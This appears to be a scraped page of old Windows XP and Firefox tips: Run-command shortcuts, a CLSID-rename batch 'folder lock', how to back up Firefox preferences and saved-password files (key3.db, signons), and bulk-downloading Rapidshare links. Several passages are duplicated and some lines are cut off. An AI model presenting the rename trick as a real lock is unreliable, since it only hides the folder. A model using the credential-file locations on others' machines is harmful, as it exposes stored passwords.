Shared Folders - fsmgmt.msc
Shuts Down Windows - shutdown
Sounds and Audio - mmsys.cpl
Spider Solitare Card Game - spider
SQL Client Configuration - cliconfg
System Configuration Editor - sysedit
System Configuration Utility - msconfig
System File Checker Utility (Scan Immediately) sfc /scannow
System File Checker Utility (Scan Once At Next Boot) sfc /scanonce
System File Checker Utility (Scan On Every Boot) sfc /scanboot
System File Checker Utility (Return to Default Setting) sfc /revert
System File Checker Utility (Purge File Cache) sfc /purgecache
System File Checker Utility (Set Cache Size to size x) sfc /cachesize=x
System Properties - sysdm.cpl
Task Manager - taskmgr
Telnet Client - telnet
User Account Management - nusrmgr.cpl
Utility Manager - utilman
Windows Firewall - firewall.cpl
Windows Magnifier - magnify
Windows Management - wmimgmt.msc
Infrastructure
Windows System - syskey
Security Tool
Windows Update - wupdmgr
Launches
Windows XP - tourstart
Tour Wizard
Wordpad - writ
enjoy
Add Hardware Wizard - hdwwiz.cpl
Add/Remove Programs - appwiz.cpl
Administrative Tools - control admintools
Automatic Updates - wuaucpl.cpl
Bluetooth Transfer Wiz - fsquirt
Calculator - calc
Certificate Manager - certmgr.msc
Character Map - charmap
Check Disk Utility - chkdsk
Clipboard Viewer - clipbrd
Command Prompt - cmd
Component Services - dcomcnfg
Computer Management - compmgmt.msc
Date / Time Properties - timedate.cpl
DDE Shares - ddeshare
Device Manager - devmgmt.msc
Direct X Control Panel - directx.cpl
Direct X Troubleshooter - dxdiag
Disk Cleanup Utility - cleanmgr
Disk Defragment - dfrg.msc
Disk Management - diskmgmt.msc
Disk Partition Manager - diskpart
Display Properties - control desktop
Display Properties - desk.cpl
Display Properties - control color (w/Appearance Tab Preselected)
Dr. Watson - drwtsn32
Driver Verifier Utility - verifier
Event Viewer - eventvwr.msc
File Signature Verification Tool - sigverif
Findfast - findfast.cpl
Folders Properties - control folders
Fonts - control fonts
Fonts Folder - fonts
Free Cell Card Game - freecell
Game Controllers - joy.cpl
Group Policy Editor (XP Prof) - gpedit.msc
Hearts Card Game - mshearts
Iexpress Wizard - iexpress
Indexing Service - ciadv.msc
Internet Properties - inetcpl.cpl
IP Configuration (Display Connection Configuration) ipconfig /all
IP Configuration (Display DNS Cache Contents) ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents) ipconfig /flushdns
IP Configuration (Release All Connections) ipconfig /release
IP Configuration (Renew All Connections) ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS) ipconfig /registerdns
IP Configuration (Display DHCP Class ID) ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID) ipconfig /setclassid
Java Control Panel - jpicpl32.cpl
(If Installed)
Java Control Panel - javaws
(If Installed)
Keyboard Properties - control keyboard
Local Security Settings - secpol.msc
Local Users and Groups - lusrmgr.msc
Logs You Out Of Windows - logoff
Microsoft Chat - winchat
Minesweeper Game - winmine
Mouse Properties - control mouse
Mouse Properties - main.cpl
Network Connections - control netconnections
Network Connections - ncpa.cpl
Network Setup Wizard - netsetup.cpl
Notepad - notepad
Nview Desktop Manager - nvtuicpl.cpl
(If Installed)
Object Packager - packager
ODBC Data Source Admin - odbccp32.cpl
On Screen Keyboard - osk
Opens AC3 Filter - ac3filter.cpl
(If Installed)
Password Properties - password.cpl
Performance Monitor - perfmon.msc
Performance Monitor - perfmon
Phone and Modem Options - telephon.cpl
Power Configuration - powercfg.cpl
Printers and Faxes - control printers
Printers Folder - printers
Private Character Editor - eudcedit
Quicktime (If Installed) - QuickTime.cpl
Regional Settings - intl.cpl
Registry Editor - regedit
Registry Editor - regedit32
Remote Desktop - mstsc
Removable Storage - ntmsmgr.msc
Removable Storage - ntmsoprq.msc
Operator Requests
Resultant Set of Policy - rsop.msc
(XP Prof)
Scanners and Cameras - sticpl.cpl
Scheduled Tasks - control schedtasks
Security Center - wscui.cpl
Services - services.msc
Shared Folders - fsmgmt.msc
Shuts Down Windows - shutdown
Sounds and Audio - mmsys.cpl
Spider Solitare Card Game - spider
SQL Client Configuration - cliconfg
System Configuration Editor - sysedit
System Configuration Utility - msconfig
System File Checker Utility (Scan Immediately) sfc /scannow
System File Checker Utility (Scan Once At Next Boot) sfc /scanonce
System File Checker Utility (Scan On Every Boot) sfc /scanboot
System File Checker Utility (Return to Default Setting) sfc /revert
System File Checker Utility (Purge File Cache) sfc /purgecache
System File Checker Utility (Set Cache Size to size x) sfc /cachesize=x
System Properties - sysdm.cpl
Task Manager - taskmgr
Telnet Client - telnet
User Account Management - nusrmgr.cpl
Utility Manager - utilman
Windows Firewall - firewall.cpl
Windows Magnifier - magnify
Windows Management - wmimgmt.msc
Infrastructure
Windows System - syskey
Security Tool
Windows Update - wupdmgr
Launches
Windows XP - tourstart
Tour Wizard
Wordpad - writ
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Trick To Lock Your Private Folder
Suppose you want to lock the folder games in d: which has the path
D:\GamesIn the same drive create a text file and type
ren games games.{21EC2020-3AEA-1069-A2DD-08002B30309D}
Now save this text file as loc.bat
create another text file and type in it
ren games.{21EC2020-3AEA-1069-A2DD-08002B30309D} games
Now save this text file as key.bat
Now you can see 2 batch files loc and key.Press loc and the folder games will change to control panel and you cannot view its contents.Press key and you will get back your original folder.
try it out!!!!!!!
D:\GamesIn the same drive create a text file and type
ren games games.{21EC2020-3AEA-1069-A2DD-08002B30309D}
Now save this text file as loc.bat
create another text file and type in it
ren games.{21EC2020-3AEA-1069-A2DD-08002B30309D} games
Now save this text file as key.bat
Now you can see 2 batch files loc and key.Press loc and the folder games will change to control panel and you cannot view its contents.Press key and you will get back your original folder.
try it out!!!!!!!
Backup FIREFOX Preferences and Bookmarks
Most of you Firefox users must be knowing this but still.... for those who don't... here's how you back up your Firefox preferences..
SAVING PREFERENCES :
Go to your Firefox profile folder in Windows Explorer. The default location is Documents and Settings > USERNAME > Application Data > Mozilla > Firefox > Profiles > cxhmjww8.default (this name is random)
The file you're looking for is prefs.js. Copy it to a USB stick or burn it to CD.
If you need to reinstall Firefox, drag your backup copy of prefs.js into this folder. You'll get a message asking if you want to replace the existing prefs.js file with your copied file -say yes, and you'll have restored your Firefox preferences the way you wanted them.
Of course there's no point backing up if you don't do it regularly - so be sure to update your saved prefs.js file when you tweak your Firefox settings.
SAVING BOOKMARKS :
To back up your Bookmarks,
SAVING PASSWORDS :
SAVING PREFERENCES :
Go to your Firefox profile folder in Windows Explorer. The default location is Documents and Settings > USERNAME > Application Data > Mozilla > Firefox > Profiles > cxhmjww8.default (this name is random)
The file you're looking for is prefs.js. Copy it to a USB stick or burn it to CD.
If you need to reinstall Firefox, drag your backup copy of prefs.js into this folder. You'll get a message asking if you want to replace the existing prefs.js file with your copied file -say yes, and you'll have restored your Firefox preferences the way you wanted them.
Of course there's no point backing up if you don't do it regularly - so be sure to update your saved prefs.js file when you tweak your Firefox settings.
SAVING BOOKMARKS :
To back up your Bookmarks,
- Open Firefox
- Go in Bookmarks -> Organize Bookmarks
- Go to Import and Backup -> Export HTML...
- Save it somewhere as a .html file and you're done.
SAVING PASSWORDS :
- Go to Documents and Settings > USERNAME > Application Data > Mozilla > Firefox > Profiles > cxhmjww8.default (this name is random)
- Backup the following files : key3.db, signons2.txt (if you're using FF 2.0+) OR signons3.txt (if you're using FF 3.0+). These files contain data regarding your saved passwords. After a reinstall, overwrite these files back to this folder.
Downloading Coded Links (ALL AT ONCE)
~{Downloading Coded Links}~
First off this tutorial I (Cuzabis) made is for FireFox users! IE users... GET WITH IT!
The reason we code links is to make the downloads look a lot cleaner. It is also much easier to test links that are in code. Also Coded links are not abreviated like normal URL's
ex: http://this.is.not.a.real.*********it...gsomething.rar
or
Check Download Links Code:
http://this.is.not.a.real.*********it.is.a.fake.I.made.for.you/somethingsomething.rar
This nifty addon will make any weburl clickable on any page! (these links are recognized with Downthemall: Firefox Extension.
Already thats easier then copying them one by one eh?
OK now you can use one of two downloaders (I tried others these work best)
THESE METHODS ARE ONLY GOOD FOR PREMIUM ACCOUNTS, NO FREE DOWNLOADS!
~{Method 1}~
You can download the download manager FLASHGET (much better then getright, less bloaded)~{Method 2}~
But to use it with firefox you need the addon FLASHGOT
Then once the addon (flashgot) and Flashget are installed.
- Highlight all the links in the codebox
- RightClick the Links
- Select FLASHGOT SELECTION, or if you have installed the linkification addon I described above, you can use "FlashGot ALL" this will bring up a list of all the links on the current page.
- Make sure all your files are checked off in flashgot and click OK
- Select your download folder, and all settings will be used for all files (option)
I have noticed sometimes with this and any other download manager, when downloading from Rapidshare, if you do not start the connection imediatly, the files may download 5KB junk files. Sometimes this means the links are dead, but a lot of times flashget waited to long and now your download link has changed (rapidshare changes download links often----direct download links that is... the links posted never change)
Because sometimes with Flashget you get those 5k junk files. This would be my more favorite download manager!HINT
This will only work with the linkification addon I posted above!!!
- Download and install DOWNTHEMALL Firefox addon from here:
Check Download Links Code:https://addons.mozilla.org/en-US/firefox/addon/201- Rightclick anywhere on the page and select DOWNTHEMALL (or DTA ONECLICK - DTA 1click will download all the files to the same folder as the last time you used downthemall)
- Select your download location and let her rip
THIS WILL NEVER DOWNLOAD 5KB JUNK FILES!!! If you get 5kb files, did you test the links?? Didn't think so, your links are dead or you have run out of bandwidth. This downloadmanager is directly incorporated into FireFox and will never get a 'misconection' like Flashget above!
I have noticed that if you have too many files going at once, it really sucks back your bandwidth and makes your internet slow. This is why I always try with flashget first and only use DTA when I get 5kb junk files (I always test)
If you are using Flashget and you get 5kb files, and you know the links worked (you tested them, you should always test!) simply rightclick the downloaded file and select "Browse Refferer" this will open the page where you downloaded the file from, and you can then use DOWNTHEMALL to download your missing parts... This is rare, but it does happen... Updating your flashget often will prevent this!
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